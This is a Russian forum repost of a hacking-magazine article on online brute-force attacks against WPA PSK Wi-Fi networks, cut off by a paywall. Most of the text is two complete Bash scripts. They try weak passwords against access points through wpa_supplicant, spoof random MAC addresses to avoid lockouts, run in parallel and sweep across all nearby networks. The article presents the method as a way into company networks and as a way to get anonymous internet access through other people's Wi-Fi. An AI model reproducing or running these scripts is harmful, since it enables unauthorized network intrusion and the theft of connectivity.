Ques/Help/Req Брут на ходу. Атакуем беспроводные сети простым и эффективным способом

XakeR

Member
Регистрация
13.05.2006
Сообщения
1 912
Реакции
0
Баллы
16
Местоположение
Ukraine
Атаки на Wi-Fi чрезвычайно разнообразны: злоумышленник может попытаться взломать клиентские устройства и точки доступа, да и последние могут использовать разные протоколы и методы аутентификации. В этой статье мы рассмотрим простой, но эффективный метод брутфорса беспроводных сетей.

Наиболее часто встречаются сети WPA PSK. Даже если в компании используются сети WPA-Enterprise, а все остальное запрещено, мы всегда можем найти WPA PSK благодаря тем же беспроводным принтерам и всяческим несанкционированным точкам доступа, работающим на телефонах сотрудников. И чем больше периметр компании, тем больше таких потенциальных точек входа можно обнаружить. При атаках на точки доступа с WPA PSK обычно используется следующая схема.

Классическая схема действий при атаках WPA PSK

Но что делать, если у точки доступа нет клиентов? Грубо говоря, где‑то у половины обнаруженных беспроводных сетей будут отсутствовать активные клиенты, а другая половина не будет подвержена PMKID, и у таких сетей не обнаружится уязвимый к перебору WPS. Выходит, подобные точки доступа устойчивы к атакам, даже если на них используется пароль 12345678? А что нам мешает атаковать их?



Онлайн-брутфорс​


Подобрать пароль к обычной WPA-сети всегда можно простым перебором, аутентифицируясь и спрашивая каждый раз пароль непосредственно у точки доступа (этот метод называется онлайн‑брутфорсом).

Атаки онлайн‑подбором пароля к Wi-Fi-сетям крайне редки, и в интернете можно найти не так уж много реализаций такой атаки. Оно и понятно: ведь ее скорость низкая в сравнении с брутфорсом того же WPA Handshake или PMKID. Но именно эта атака может быть единственно возможной почти в четверти случаев. И пусть скорость подбора будет не так высока, это явно лучше, чем сидеть и ждать у моря погоды. Так ли нужна нам высокая скорость брутфорса, когда речь идет о небезопасных паролях? Можно предположить, что примерно на каждой десятой точке доступа использован пресловутый пароль 12345678. Неужели для атаки подобных устройств нужен хендшейк?

Брутфорс онлайн в ширину (много точек доступа, несколько паролей)

А что, если мы возьмем с десяток самых слабых паролей? Реализовать онлайн‑брутфорс мы можем достаточно просто с помощью скрипта на Bash, используя лишь wpa_supplicant:

wpa-brute.sh​


#!/bin/bashRED=‘x1b[31m’GREEN=‘x1b[32m’GREY=‘x1b[90m’RESET=‘x1b[0m’TIMEOUT=15 IFACE=wlan0 [[ $# -ge 1 ]] && essid=«$1« || read -p ‘essid: ‘ essid [[ $# -ge 2 ]] && wordlist=«$2« || read -p ‘wordlist: ‘ wordlist [[ $# -ge 3 ]] && threads=«$3« || threads=1 rand=$RANDOMif [ «$threads« -eq 1 ]; then touch «/tmp/wpa_${rand}_${essid}.conf» while read -r password do [[ «${#password}« -lt 8 ]] && continue #sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether «00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]» 2> /dev/null; sudo ifconfig $IFACE up wpa_passphrase «$essid« «$password« > «/tmp/wpa_${rand}_${essid}.conf» || continue sed -i ‘s/^.*#psk=.*$/tscan_ssid=1/g’ «/tmp/wpa_${rand}_${essid}.conf» sudo ifconfig $IFACE up sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c «/tmp/wpa_${rand}_${essid}.conf» 2>&1 > «/tmp/wpa_${rand}_${essid}.log» & wpa_supplicant=$! tail -f «/tmp/wpa_${rand}_${essid}.log» 2> /dev/null | while read -t $TIMEOUT line do #echo «$line» if echo «$line« | grep -q «completed»; then break elif echo «$line« | grep -q «Handshake failed»; then break fi done sudo pkill -P $wpa_supplicant 2> /dev/null now=$(date +‘%H:%M:%S’) if grep -q «complete» «/tmp/wpa_${rand}_${essid}.log» > /dev/null; then echo -e $GREEN «[+] [$now] $IFACE $essid: $password« $RESET exit 1 elif grep -q «Handshake failed» «/tmp/wpa_${rand}_${essid}.log»; then echo -e $RED «[-] [$now] $IFACE $essid: $password« $RESET else echo -e $GREY «[!] [$now] $IFACE $essid: $password« $RESET echo «$password« >> «$wordlist« fi rm «/tmp/wpa_${rand}_${essid}.log» 2> /dev/null rm «/tmp/wpa_${rand}_${essid}.conf» 2> /dev/null done < «$wordlist«elif [ «$threads« -gt 1 ]; then typeset -a pids=() for ((thread=0; thread<$threads; thread++)); do «$0« «$1« <(cat «$2« | awk «NR%$threads==$thread«) || pkill -f «$0« & pids+=($!) #sleep 0.25 done for pid in ${pids[*]}; do tail —pid=$pid -f /dev/null donefi

Скрипт будет пытаться подключиться к точке доступа, используя исключительно легитимное ПО. На каждой итерации, чтобы избежать блокировок, он может менять наш MAC-адрес на рандомный. Такой скрипт не требует особых режимов беспроводной сетевой карты и может быть запущен на любом компьютере и даже на устройстве с Android.

Брутфорс онлайн в глубину в четыре потока (одна точка доступа, много паролей)

Этот метод не так уж и плох, ведь даже Android по умолчанию управляет беспроводными соединениями через старый добрый wpa_supplicant. Cчитается, что онлайн‑брутфорс точек доступа не параллелится, а скорость подбора пароля увеличить невозможно. Однако при одновременном брутфорсе паролей сразу с двух устройств не было замечено падения скорости, следовательно, увеличение быстродействия возможно.

В скрипте wpa-brute.sh есть поддержка многопоточности, реализованная достаточно простым и оригинальным способом: на одном и том же WLAN-интерфейсе мы можем одновременно запускать сразу несколько процессов wpa_supplicant. Пока один ждет ответа от точки доступа, другой wpa_supplicant может отправлять пакеты аутентификации со следующим паролем. Значит, скорость брутфорса все же может быть увеличена, правда, в разумных пределах и не на всех точках доступа в равной степени.

Добавив обертку вокруг скрипта wpa-brute.sh, мы можем реализовать брутфорс в ширину:

wpa_brute-width.sh​


#!/bin/bashRED=‘x1b[31m’GREEN=‘x1b[32m’GREY=‘x1b[90m’RESET=‘x1b[0m’IFACE=wlan0 TIMEOUT=60 PASSWD=()MAX_TREADS=6 [[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=(«$passwd«); done#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)#sudo killall -KILL wpa_supplicant 2> /dev/nullmkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute while : do sudo ifconfig $IFACE up typeset -a bssids=() typeset -a essids=() typeset -a signals=() IFS=$’x0a’ for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep ‘^BSS|SSID:|signal:|Authentication’ | tr $’n‘ $’t‘ | sed -e ‘s/BSS/nBSS/g’ | grep ‘PSK’) do IFS=$’t‘ read bssid signal essid <<< $(echo «$line« | sed -rn ‘s/BSS (.+)(.*t+signal: (.*).00 dBm.*t+SSID: ([^t]+)t.*/1t2t3/p’) if [ -n «$essid« ]; then #echo «[*] $bssid $signal $essid» bssids+=($bssid) essids+=($essid) signals+=($signal) fi done for ((i=0; i<${#bssids[@]}; i++)) do echo «${essids}«$’t‘«${bssids}«$’t‘«${signals}« done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt IFS=$’x0a’ for net in $(cat /tmp/wpa_brute/wpa_net.txt) do IFS=$’t‘ read essid bssid signal <<< $(echo «$net«) fgrep -q «$essid« /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue echo «[+] $essid $bssid $signal« sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether «00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]« 2> /dev/null; sudo ifconfig $IFACE up threads=0 for passwd in ${PASSWD[*]} do ((threads++)) echo «$passwd« done > /tmp/wpa_brute/wordlist.txt timeout $TIMEOUT $(dirname «$0«)/wpa_brute.sh «$essid« /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS )) echo «$essid« >> /tmp/wpa_brute/essids_known.txt break donedone

Cкрипт на каждой итерации будет сканировать эфир, проверять наличие беспроводных сетей, сортировать их по уровню сигнала и пытаться подобрать только один или несколько указанных паролей.

Брутфорс в ширину может быть очень полезен, когда атакуемый объект имеет протяженный периметр с кучей разнообразных Wi-Fi-сетей, многие из которых — это несанкционированные сети, раздаваемые пользователями, не сильно заботящимися о защищенности. Другой хороший пример слабо защищенных устройств, которые обязательно стоит искать подобным методом, — это принтеры. И то и другое может стать отличной точкой входа во внутреннюю сеть компании.

Использовать брутфорс в ширину можно и без цели проникновения, например чтобы организовать анонимный выход в интернет через чужой канал.



Брутфорс с использованием EAPOL​

Присоединяйся к сообществу «Xakep.ru»!​


Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

-60%

1 year​


9990 рублей 4000 р.


[TD]

1 month_r​


920 р.
[/TD]

Я уже участник «Xakep.ru»
 
198 207Темы
635 179Сообщения
3 618 416Пользователи
artvladimir2004Новый пользователь
Верх